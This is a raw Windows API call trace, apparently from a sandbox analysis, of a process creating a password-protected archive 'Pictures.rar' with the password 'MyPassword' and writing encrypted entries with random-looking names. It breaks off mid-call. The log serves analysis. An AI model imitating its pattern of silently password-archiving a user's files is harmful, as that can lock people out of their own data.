[0065.172] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.172] GetTickCount () returned 0xa669dc [0065.172] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.172] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.172] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.172] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.172] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="FF-GXA22K-J") returned 11 [0065.172] SetWindowTextW (hWnd=0x1024c, lpString="ULcrruHeMH6lLDqYX5zP") returned 1 [0065.172] GetTickCount () returned 0xa669dc [0065.172] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.172] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fed0 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.172] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.172] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.172] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x9190d0 [0065.172] SetFilePointer (in: hFile=0x198, lDistanceToMove=51, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x919103 [0065.173] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.173] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.173] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.173] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.173] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539792, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x9190d0 [0065.173] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x9190d0 [0065.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.173] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.173] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.173] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3e0, Size=0x48) returned 0x26fed0 [0065.173] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x33, lpOverlapped=0x0) returned 1 [0065.173] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.173] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.173] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919103 [0065.173] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.173] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.173] FindFirstFileW (in: lpFileName="xuzEq3zwZkPG", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.173] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.173] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.173] GetTickCount () returned 0xa669dc [0065.173] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.173] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.173] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.173] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.173] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="ULcrruHeMH6lLDqYX5zP") returned 20 [0065.173] SetWindowTextW (hWnd=0x1024c, lpString="xuzEq3zwZkPG") returned 1 [0065.174] GetTickCount () returned 0xa669dc [0065.174] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3b0, Size=0x48) returned 0x26fed0 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.174] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.174] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.174] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x919103 [0065.174] SetFilePointer (in: hFile=0x198, lDistanceToMove=43, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x91912e [0065.174] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.174] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.174] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.174] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.174] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539843, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x919103 [0065.174] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x919103 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c380, Size=0x48) returned 0x26fed0 [0065.174] WriteFile (in: hFile=0x198, lpBuffer=0x26fed3*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x26fed3*, lpNumberOfBytesWritten=0x168180*=0x2b, lpOverlapped=0x0) returned 1 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.175] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x91912e [0065.175] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.175] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.175] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.175] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.175] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x7d20040 | out: hHeap=0x1b0000) returned 1 [0065.445] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3d10040 | out: hHeap=0x1b0000) returned 1 [0066.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a06790 | out: hHeap=0x1b0000) returned 1 [0066.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3a08090 | out: hHeap=0x1b0000) returned 1 [0066.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x8d30040 | out: hHeap=0x1b0000) returned 1 [0066.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x8e40040 | out: hHeap=0x1b0000) returned 1 [0066.219] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3a880a0 | out: hHeap=0x1b0000) returned 1 [0066.219] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3ac80b0 | out: hHeap=0x1b0000) returned 1 [0066.223] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x9e50040 | out: hHeap=0x1b0000) returned 1 [0066.523] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0xba60040 | out: hHeap=0x1b0000) returned 1 [0066.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b59160 | out: hHeap=0x1b0000) returned 1 [0066.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b61200 | out: hHeap=0x1b0000) returned 1 [0066.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b692a0 | out: hHeap=0x1b0000) returned 1 [0066.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b71340 | out: hHeap=0x1b0000) returned 1 [0066.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0xbe70040 | out: hHeap=0x1b0000) returned 1 [0066.606] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1d0) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1d4) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1d8) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1dc) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1e0) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1e4) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1e8) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1ec) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1f0) returned 1 [0066.619] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] CloseHandle (hObject=0x1f4) returned 1 [0066.620] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x1f8) returned 1 [0066.620] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x1fc) returned 1 [0066.620] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x200) returned 1 [0066.620] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x204) returned 1 [0066.620] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x208) returned 1 [0066.620] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x20c) returned 1 [0066.620] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x210) returned 1 [0066.620] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x214) returned 1 [0066.620] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x218) returned 1 [0066.620] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x21c) returned 1 [0066.620] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x220) returned 1 [0066.620] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x224) returned 1 [0066.620] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x228) returned 1 [0066.620] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x22c) returned 1 [0066.620] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x230) returned 1 [0066.620] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] CloseHandle (hObject=0x234) returned 1 [0066.620] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x238) returned 1 [0066.621] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x23c) returned 1 [0066.621] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x240) returned 1 [0066.621] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x244) returned 1 [0066.621] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x248) returned 1 [0066.621] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] CloseHandle (hObject=0x24c) returned 1 [0066.621] CloseHandle (hObject=0x1a0) returned 1 [0066.621] CloseHandle (hObject=0x1a4) returned 1 [0066.621] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27ab40 | out: hHeap=0x1b0000) returned 1 [0066.621] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3c00040 | out: hHeap=0x1b0000) returned 1 [0066.624] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3bce130 | out: hHeap=0x1b0000) returned 1 [0066.624] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0fc30 | out: hHeap=0x1b0000) returned 1 [0066.624] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3bc6120 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f790 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3bba100 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8d470 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3bb20f0 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2afdd0 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3baa0e0 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0fdc0 | out: hHeap=0x1b0000) returned 1 [0066.625] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3ba0490 | out: hHeap=0x1b0000) returned 1 [0066.626] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8d600 | out: hHeap=0x1b0000) returned 1 [0066.626] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b98480 | out: hHeap=0x1b0000) returned 1 [0066.627] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27f1c0 | out: hHeap=0x1b0000) returned 1 [0066.627] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b90470 | out: hHeap=0x1b0000) returned 1 [0066.627] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a8140 | out: hHeap=0x1b0000) returned 1 [0066.627] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29afde0 | out: hHeap=0x1b0000) returned 1 [0066.628] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a1e10 | out: hHeap=0x1b0000) returned 1 [0066.628] ReleaseSemaphore (in: hSemaphore=0x1a8, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.628] CloseHandle (hObject=0x1a8) returned 1 [0066.629] CloseHandle (hObject=0x1ac) returned 1 [0066.629] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27aea0 | out: hHeap=0x1b0000) returned 1 [0066.629] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3a00080 | out: hHeap=0x1b0000) returned 1 [0066.629] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29fe780 | out: hHeap=0x1b0000) returned 1 [0066.629] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x29efdf0 | out: hHeap=0x1b0000) returned 1 [0066.629] GetTickCount () returned 0xa66f77 [0066.629] GetLastError () returned 0x0 [0066.630] SetLastError (dwErrCode=0x0) [0066.630] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0066.630] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0066.630] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bbc0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.630] SetWindowTextW (hWnd=0x1024e, lpString=" 0%") returned 1 [0066.630] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0066.630] QueryPerformanceCounter (in: lpPerformanceCount=0x16d440 | out: lpPerformanceCount=0x16d440*=14197035879) returned 1 [0066.630] GetTickCount () returned 0xa66f77 [0066.630] GetLastError () returned 0x0 [0066.630] SetLastError (dwErrCode=0x0) [0066.630] GetDlgItem (hDlg=0x10244, nIDDlgItem=154) returned 0x10256 [0066.630] GetWindowTextW (in: hWnd=0x10256, lpString=0x16c020, nMaxCount=2560 | out: lpString="00:00:08") returned 8 [0066.630] SetWindowTextW (hWnd=0x10256, lpString="00:00:10") returned 1 [0066.630] GetTickCount () returned 0xa66f77 [0066.630] GetLastError () returned 0x0 [0066.630] SetLastError (dwErrCode=0x0) [0066.630] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0066.630] GetWindowTextW (in: hWnd=0x1025a, lpString=0x16c020, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0066.630] GetTickCount () returned 0xa66f77 [0066.631] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cff8 | out: ppv=0x16cff8*=0x2a0d960) returned 0x0 [0066.631] TaskbarList:ITaskbarList3:SetProgressState (This=0x2a0d960, hwnd=0x10244, tbpFlags=2) returned 0x0 [0066.631] TaskbarList:ITaskbarList3:SetProgressValue (This=0x2a0d960, hwnd=0x10244, ullCompleted=0x940593, ullTotal=0x940593) returned 0x0 [0066.631] TaskbarList:IUnknown:Release (This=0x2a0d960) returned 0x0 [0066.631] GetLastError () returned 0x36b7 [0066.631] SetLastError (dwErrCode=0x36b7) [0066.631] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0066.631] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0066.631] GetWindowTextW (in: hWnd=0x10264, lpString=0x16bbc0, nMaxCount=2560 | out: lpString=" 99%") returned 5 [0066.631] SetWindowTextW (hWnd=0x10264, lpString=" 100%") returned 1 [0066.631] GetLastError () returned 0x0 [0066.631] SetLastError (dwErrCode=0x0) [0066.631] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0066.631] GetWindowTextW (in: hWnd=0x10260, lpString=0x16bbc0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0066.631] SetWindowTextW (hWnd=0x10260, lpString=" 98%") returned 1 [0066.632] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x63 [0066.632] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 1 [0066.632] GetMessageW (in: lpMsg=0x16d4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d4a0) returned 1 [0066.632] GetFocus () returned 0x0 [0066.632] TranslateMessage (lpMsg=0x16d4a0) returned 0 [0066.632] DispatchMessageW (lpMsg=0x16d4a0) returned 0x0 [0066.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x91912e [0066.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d490*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d490*=0) returned 0x91912e [0066.632] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d960 [0066.632] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2a0d960, Size=0x87) returned 0x203cf0 [0066.632] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x203cf0, Size=0xc8) returned 0x27f1c0 [0066.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=8, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x8 [0066.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x8 [0066.632] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d960 [0066.632] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d930 [0066.632] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d840 [0066.632] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x2a0d870 [0066.632] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d840 | out: hHeap=0x1b0000) returned 1 [0066.632] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0d930 | out: hHeap=0x1b0000) returned 1 [0066.632] WriteFile (in: hFile=0x198, lpBuffer=0x2a0d963*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x168180, 